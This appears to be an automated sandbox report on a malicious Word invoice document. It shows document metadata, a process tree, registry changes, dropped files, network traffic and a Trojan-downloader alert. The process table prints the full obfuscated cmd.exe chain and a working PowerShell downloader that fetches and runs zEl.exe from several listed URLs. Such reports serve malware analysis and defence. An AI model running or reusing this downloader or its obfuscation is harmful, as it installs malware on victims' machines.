| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorEffectExtentL: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorExtentCy: | 12700 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorExtentCx: | 12700 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorPositionVPosOffset: | -901700 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorPositionVRelativeFrom: | paragraph |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorPositionHPosOffset: | -914400 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorPositionHRelativeFrom: | column |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorSimplePosY: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorSimplePosX: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorEditId: | 130E8ABF |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorAnchorId: | 75F6BDE9 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorAllowOverlap: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorLayoutInCell: | 1 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorLocked: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorBehindDoc: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorRelativeHeight: | 251659264 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorSimplePos: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDistR: | 114300 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDistL: | 114300 |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDistB: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceDrawingAnchorDistT: | - |
| PackagePartXmlDataDocumentBodyPRAlternateContentChoiceRequires: | wps |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrPrstGeomAvLst: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrPrstGeomPrst: | rect |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmExtCy: | 1685925 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmExtCx: | 5619750 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmOffY: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicSpPrXfrmOffX: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillStretchFillRect: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillBlipExtLstExtUseLocalDpiVal: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillBlipExtLstExtUri: | {28A0092B-C50C-407E-A947-70E740481C1C} |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicBlipFillBlipEmbed: | rId5 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPicPr: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPrName: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataPicNvPicPrCNvPrId: | 2 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineGraphicGraphicDataUri: | http://schemas.openxmlformats.org/drawingml/2006/picture |
| PackagePartXmlDataDocumentBodyPRDrawingInlineCNvGraphicFramePr: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDocPrName: | Picture 2 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDocPrId: | 2 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentB: | 9525 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentR: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentT: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEffectExtentL: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineExtentCy: | 1685925 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineExtentCx: | 5619750 |
| PackagePartXmlDataDocumentBodyPRDrawingInlineEditId: | 3760DB8A |
| PackagePartXmlDataDocumentBodyPRDrawingInlineAnchorId: | 50277BCC |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistR: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistL: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistB: | - |
| PackagePartXmlDataDocumentBodyPRDrawingInlineDistT: | - |
| PackagePartXmlDataDocumentBodyPRRPrNoProof: | - |
| PackagePartXmlDataDocumentBodyPBookmarkEndId: | - |
| PackagePartXmlDataDocumentBodyPBookmarkStartName: | _GoBack |
| PackagePartXmlDataDocumentBodyPBookmarkStartId: | - |
| PackagePartXmlDataDocumentBodyPRsidRDefault: | 00991441 |
| PackagePartXmlDataDocumentBodyPRsidR: | 005E6EE1 |
| PackagePartXmlDataDocumentBodyPTextId: | 62361744 |
| PackagePartXmlDataDocumentBodyPParaId: | 308ACA1C |
| PackagePartXmlDataDocumentBackgroundColor: | 00AEEA |
| PackagePartXmlDataDocumentIgnorable: | w14 w15 w16se w16cid wp14 |
| PackagePartXmlDataRelationshipsRelationshipTarget: | docProps/app.xml |
| PackagePartXmlDataRelationshipsRelationshipType: | http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties |
| PackagePartXmlDataRelationshipsRelationshipId: | rId3 |
| PackagePartXmlDataRelationshipsXmlns: | http://schemas.openxmlformats.org/package/2006/relationships |
| PackagePartPadding: | 512 |
| PackagePartContentType: | application/vnd.openxmlformats-package.relationships+xml |
| PackagePartName: | /_rels/.rels |
Total processes
38
Monitored processes
5
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3012 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\INV903491.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 4040 | cmd /c %LOCalAPpdaTA:~ -3,-2%^M%SysTEmrOoT:~ +6, +1%; ; ; ; /V:^o^ ; /%appDATa:~-7, 1%";;(s^et ^ ^ t8V^b=6cg X7W^ 2qL TnE 7DW^ hGp z^X^y t3^o o2u ^bhc ^TFw ^2S^E IDV^ E^5k^ ^6u9 16l ^tG NH^A^}^5QZ}Wav{AVeh^QJIcqyI^tI^UX^aYDhcmMi^}Bg^o^kG3XaqPk^eMhbrrswbjyS^;W9mFqiUi^4E^g^sF^Sc$u^Ja^ BYes^ljNs^J^6^Ae9NOcJhF^omGWrgevPnbf-ZGctYk^KrP7Each^gt^W^PUSQlv^;nM ^)J^e^1^FKol^i1BG^sN 6^$^MCa^(^K^8meVgvlCL8^i^uYa^f^I5voL8r^tn78eis^Wv2uv^aHGc^s^s^ R.T^X^fSdD^zML^qV^Tc8G$3^tZ^;UR^D^)Tm ^yRQgdn^0^ZoENhBS^Qt^e^BY9sY^LCnUW oG^xtpyRWsWb0e^GsurGNn.CfHSSUNjUi5wYZh$DdL^(I5Reb2Ttj l^iNesr6^LQ^wE7J.8raSk8nMQFgT cM$Q^Eq;wuq1cu6 tq^P=WN5 n^Ao^ef2Ap^OsL^y^9Ns^txCb.^SQ^OSj^hP^M7kCT^SB7$NDj^;^xVA^)B^GL^(gYCnwTceMb4pLVx^o^Kwd.J9USTDCMa2v^Tx^av$n^W^z;^PH^j^)^2^9p^(^gQPdijnnE^eBeqjgsarg^.H^1lS0^4Djtx1w7g^4$^xuy^;n31^)^g^YZ0uq^L,NCOCZ^M ^JL^I^aPz^38$PIc^,e2^b'^lVs^TNGIEVYnGgyA^'8t9^(6Jqn6rR^e6EJpXd7^oRUn^.C^FyS1daj^94^PwCwv$fGP^{^gWV^y3^lNrHI8tPac{Q2C^)r^D4rpj0d0tS^q^z60^$Erm X^dmn^GoB^izM^O 3a^dCKrOJ^pA^w^PJoN$^afV^(k^YEhY^Djc^USp^a8^oceOKdr^F^8nolrWf^Qlq;^zZi'v7Dm^QxFau^dKe^IPerDMm^t^XBM^sY^Ic.^wrUbgf8d^xJSoMcT^dk^gn^a5KM'lnM C8^Um6^Ee^oeBzcp^Kh-D^uv^ oC^btI^Oqc^qjweWI^ijknQb^s^SwO3dj^-^P^JO^wXv eV^iPNJ^ n skv^=WzE ^H4rSM2k^M^evpTtiP^$haU;i07'vnlpBro^tbSNtA0Wh^h^bMl^08u^mi7HxqYJ^.Qu7^2U5L^ly^7^U^mWq^7x^h^xE^sdKvm5Tw'u^SJ xpH^mm IoE4Bcx^mu^-^1Bx^ R8H^tQ92cAGfeTzw^j6^37bv^HNOSaR- qt^waK9eBY^2NCys^=ocU 0XcS^x^B8j kW^wNj8^$qyC;R^3g^)DxS'^i0HeKX4x^Q^0AeFr^d.^Hdl^lO^zNESo^XzDHl\J^5d'^jnK^+^XsZ^)HOG^(gcOhl^bGt^xaO^aHpLP6HS^p^7TA^mQ^jretf^0TuoOtC8^H^eP3^FGxR^g:V^if:iV^G]^DYThK^d4tYd^iaR^h^1Pe84^.^Lu^O^O8wPI653^.yj^qm^OuheG^Qkt^i^ y^sptTyVis^S7YH^[rHg^(LZ^w=9gu^F^qw^LiEeCsZro$L3h;5Q^9^)w^K^t'i^3^U@2aI^'^dZ^f^(lLvtvJ^WisU^Dl^PlSpIdYS^7i^w^.M^pI'PVFXY^Ia^0vjVH^MKeFSuI^i^obsGmO8zt^a^b/V^6hmJDAobEucAeN.dm^O^e^ogZnK^xni4^qZ^l8^eaaav7k^J^YfrGuOumZOt^W^i^m/nqv/5Cq:20^y^pV^eNt^weh^tHNihoO^Q@^EvI8HvnubifGHV^gaD4ST^pNB4ke3Rm nm^iuXmn^tR/R5Fo^JtIcrpg. CT^e^O^sEd4^XqrsTle^LSrvf^6^oaG^DErvExo9U7lc58p^E^zrxYkLeR6J/q^yF/^zr7:^gkc^pXS^jto^kttwn4^hEXn@wtNSY^9S7^b^D^sItq0^0s4DvItFy^ ^Hpax^u6VnMrmG4N/koUnbl9v^9cj.c^3nuxD^EdUZK^eP^9g.SaNuRUY^iNYRmOCqcXrc^h6^8x.^ GHhjOJtI^Tw^uV3Jo86Fy^Ucnu^2Poijm^7/^q^A^K/e^63:^zlK^p^ZE5t6fntEL^Ph^XoZ@eEymQxN^I^2giv^eSyy^B^MYDULi^GsRtPcMa^jlh^e/T^hU^uV^XkrK^p7.^P^md^sp0^togHOt^Q^eNodx^ohiXRpLx^Hyn^3Znz^Jr^o^g^QleY^jEpG^OveT^yoleHqtRW6tyJWiG70l^9Ai/WQ^u/ud^X:Vi^Ap3Qrtq^w^Xt49Vh^Izc@Y^IvpEIL^Inr^z^AdTwi^khCTwbA5D^S^eBy^T67^8O^I^JVR^H/yc3m0rKoz7dcWQ^0.3t^T^hCpXt6^5HuJ5rr^j^zG^t82^IdYw^hnvfsaIqD^tSj8iocWrStxik^ImppEf^szD1rA^SHa^y^3^H^zYC9nCF axfXdFKT/TJN/^5^FX:1z^4p^oq^ t^4R^OtWnChO^L4'14z=^Qi^KrO 3d7oYqM5A^$rV^T;hTi'^e6^SL7e^J^kMl I^TRE^'P1V=4M9q 2lbwmNfmv5$^dR^I^ kZE^lj^7ol0b5^erbF^hG^X^os^hy^brC^5YeOdP^wVn5oXz^Ip)&& ;; f^or;; ; /^l ;%^m ;; IN ; ; ( ^2^14^3^ ^ -4 3);; ^do ; ( ; ; Se^T ^yN5H=!^yN5H!!t8V^b:~ %^m, 1!)&;;^if; ;; %^m;; ;;=^= ; ;3 ;(caL^l; %^yN5H:*yN^5H^!^=% )" | C:\Windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2628 | cMd ; ; ; ; /V:o ; /R";;(s^et ^ ^ t8V^b=6cg X7W^ 2qL TnE 7DW^ hGp z^X^y t3^o o2u ^bhc ^TFw ^2S^E IDV^ E^5k^ ^6u9 16l ^tG NH^A^}^5QZ}Wav{AVeh^QJIcqyI^tI^UX^aYDhcmMi^}Bg^o^kG3XaqPk^eMhbrrswbjyS^;W9mFqiUi^4E^g^sF^Sc$u^Ja^ BYes^ljNs^J^6^Ae9NOcJhF^omGWrgevPnbf-ZGctYk^KrP7Each^gt^W^PUSQlv^;nM ^)J^e^1^FKol^i1BG^sN 6^$^MCa^(^K^8meVgvlCL8^i^uYa^f^I5voL8r^tn78eis^Wv2uv^aHGc^s^s^ R.T^X^fSdD^zML^qV^Tc8G$3^tZ^;UR^D^)Tm ^yRQgdn^0^ZoENhBS^Qt^e^BY9sY^LCnUW oG^xtpyRWsWb0e^GsurGNn.CfHSSUNjUi5wYZh$DdL^(I5Reb2Ttj l^iNesr6^LQ^wE7J.8raSk8nMQFgT cM$Q^Eq;wuq1cu6 tq^P=WN5 n^Ao^ef2Ap^OsL^y^9Ns^txCb.^SQ^OSj^hP^M7kCT^SB7$NDj^;^xVA^)B^GL^(gYCnwTceMb4pLVx^o^Kwd.J9USTDCMa2v^Tx^av$n^W^z;^PH^j^)^2^9p^(^gQPdijnnE^eBeqjgsarg^.H^1lS0^4Djtx1w7g^4$^xuy^;n31^)^g^YZ0uq^L,NCOCZ^M ^JL^I^aPz^38$PIc^,e2^b'^lVs^TNGIEVYnGgyA^'8t9^(6Jqn6rR^e6EJpXd7^oRUn^.C^FyS1daj^94^PwCwv$fGP^{^gWV^y3^lNrHI8tPac{Q2C^)r^D4rpj0d0tS^q^z60^$Erm X^dmn^GoB^izM^O 3a^dCKrOJ^pA^w^PJoN$^afV^(k^YEhY^Djc^USp^a8^oceOKdr^F^8nolrWf^Qlq;^zZi'v7Dm^QxFau^dKe^IPerDMm^t^XBM^sY^Ic.^wrUbgf8d^xJSoMcT^dk^gn^a5KM'lnM C8^Um6^Ee^oeBzcp^Kh-D^uv^ oC^btI^Oqc^qjweWI^ijknQb^s^SwO3dj^-^P^JO^wXv eV^iPNJ^ n skv^=WzE ^H4rSM2k^M^evpTtiP^$haU;i07'vnlpBro^tbSNtA0Wh^h^bMl^08u^mi7HxqYJ^.Qu7^2U5L^ly^7^U^mWq^7x^h^xE^sdKvm5Tw'u^SJ xpH^mm IoE4Bcx^mu^-^1Bx^ R8H^tQ92cAGfeTzw^j6^37bv^HNOSaR- qt^waK9eBY^2NCys^=ocU 0XcS^x^B8j kW^wNj8^$qyC;R^3g^)DxS'^i0HeKX4x^Q^0AeFr^d.^Hdl^lO^zNESo^XzDHl\J^5d'^jnK^+^XsZ^)HOG^(gcOhl^bGt^xaO^aHpLP6HS^p^7TA^mQ^jretf^0TuoOtC8^H^eP3^FGxR^g:V^if:iV^G]^DYThK^d4tYd^iaR^h^1Pe84^.^Lu^O^O8wPI653^.yj^qm^OuheG^Qkt^i^ y^sptTyVis^S7YH^[rHg^(LZ^w=9gu^F^qw^LiEeCsZro$L3h;5Q^9^)w^K^t'i^3^U@2aI^'^dZ^f^(lLvtvJ^WisU^Dl^PlSpIdYS^7i^w^.M^pI'PVFXY^Ia^0vjVH^MKeFSuI^i^obsGmO8zt^a^b/V^6hmJDAobEucAeN.dm^O^e^ogZnK^xni4^qZ^l8^eaaav7k^J^YfrGuOumZOt^W^i^m/nqv/5Cq:20^y^pV^eNt^weh^tHNihoO^Q@^EvI8HvnubifGHV^gaD4ST^pNB4ke3Rm nm^iuXmn^tR/R5Fo^JtIcrpg. CT^e^O^sEd4^XqrsTle^LSrvf^6^oaG^DErvExo9U7lc58p^E^zrxYkLeR6J/q^yF/^zr7:^gkc^pXS^jto^kttwn4^hEXn@wtNSY^9S7^b^D^sItq0^0s4DvItFy^ ^Hpax^u6VnMrmG4N/koUnbl9v^9cj.c^3nuxD^EdUZK^eP^9g.SaNuRUY^iNYRmOCqcXrc^h6^8x.^ GHhjOJtI^Tw^uV3Jo86Fy^Ucnu^2Poijm^7/^q^A^K/e^63:^zlK^p^ZE5t6fntEL^Ph^XoZ@eEymQxN^I^2giv^eSyy^B^MYDULi^GsRtPcMa^jlh^e/T^hU^uV^XkrK^p7.^P^md^sp0^togHOt^Q^eNodx^ohiXRpLx^Hyn^3Znz^Jr^o^g^QleY^jEpG^OveT^yoleHqtRW6tyJWiG70l^9Ai/WQ^u/ud^X:Vi^Ap3Qrtq^w^Xt49Vh^Izc@Y^IvpEIL^Inr^z^AdTwi^khCTwbA5D^S^eBy^T67^8O^I^JVR^H/yc3m0rKoz7dcWQ^0.3t^T^hCpXt6^5HuJ5rr^j^zG^t82^IdYw^hnvfsaIqD^tSj8iocWrStxik^ImppEf^szD1rA^SHa^y^3^H^zYC9nCF axfXdFKT/TJN/^5^FX:1z^4p^oq^ t^4R^OtWnChO^L4'14z=^Qi^KrO 3d7oYqM5A^$rV^T;hTi'^e6^SL7e^J^kMl I^TRE^'P1V=4M9q 2lbwmNfmv5$^dR^I^ kZE^lj^7ol0b5^erbF^hG^X^os^hy^brC^5YeOdP^wVn5oXz^Ip)&& ;; f^or;; ; /^l ;%^m ;; IN ; ; ( ^2^14^3^ ^ -4 3);; ^do ; ( ; ; Se^T ^yN5H=!^yN5H!!t8V^b:~ %^m, 1!)&;;^if; ;; %^m;; ;;=^= ; ;3 ;(caL^l; %^yN5H:*yN^5H^!^=% )" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2532 | powershell $fbq='IkL';$qdr='http://danzarspiritandtruth.com/J7B5TiAIp@http://littlepeonyphotos.ru/jPGDyvIm@http://iuyouth.hcmiu.edu.vn/mVayv0I7S@http://exploraverde.co/mmR4TaGu8@http://turkaline.com/zGiFH0X'.Split('@');$siF=([System.IO.Path]::GetTempPath()+'\zEl.exe');$wjS =New-Object -com 'msxml2.xmlhttp';$TMS = New-Object -com 'adodb.stream';foreach($PJC in $qdr){try{$wjS.open('GET',$PJC,0);$wjS.send();$TMS.open();$TMS.type = 1;$TMS.write($wjS.responseBody);$TMS.savetofile($siF);Start-Process $siF;break}catch{}} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2540 | "C:\Windows\system32\ntvdm.exe" -i1 | C:\Windows\system32\ntvdm.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: NTVDM.EXE Exit code: 3221225477 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
1 898
Read events
1 219
Write events
674
Delete events
5
Modification events
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ?50 |
Value: 3F353000C40B0000010000000000000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1300627477 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627596 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1300627597 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: C40B0000324C1E83408DD40100000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 860 |
Value: 38363000C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 860 |
Value: 38363000C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
0
Suspicious files
2
Text files
2
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6D8F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2532 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZEFNS4A5U5I97P8C4JD3.temp | — | |
MD5:— | SHA256:— | |||
| 2540 | ntvdm.exe | C:\Users\admin\AppData\Local\Temp\scs826F.tmp | — | |
MD5:— | SHA256:— | |||
| 2540 | ntvdm.exe | C:\Users\admin\AppData\Local\Temp\scs8270.tmp | — | |
MD5:— | SHA256:— | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$V903491.doc | pgc | |
MD5:9905F7944167278513224AED476BA107 | SHA256:1B05D9330AA40159DDF8B5C5CEAB479411ABE7236D6F88A66DFD31628F3D7FF6 | |||
| 2532 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247d20.TMP | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
| 2532 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
| 2532 | powershell.exe | C:\Users\admin\AppData\Local\Temp\zEl.exe | html | |
MD5:AC074ACE4D22A5C9375D0D490F76F042 | SHA256:6EDBE22D7F8D09B69E5387F1F95F28FEEF853340C11D8545ABC5A9AF3A6FAECD | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C231A293978C0BF5F9099FB6C7CA53B4 | SHA256:E9628B246FEE0C67CCEFA3DC6FD0A5A988D97D6F841FC6A6C3C47DAC4DB57BD7 | |||
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex | text | |
MD5:F3B25701FE362EC84616A93A45CE9998 | SHA256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2532 | powershell.exe | GET | 404 | 98.129.229.85:80 | http://danzarspiritandtruth.com/J7B5TiAIp | US | html | 285 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2532 | powershell.exe | 98.129.229.85:80 | danzarspiritandtruth.com | Liquid Web, L.L.C | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
danzarspiritandtruth.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2532 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader MacroLoader MSOffice |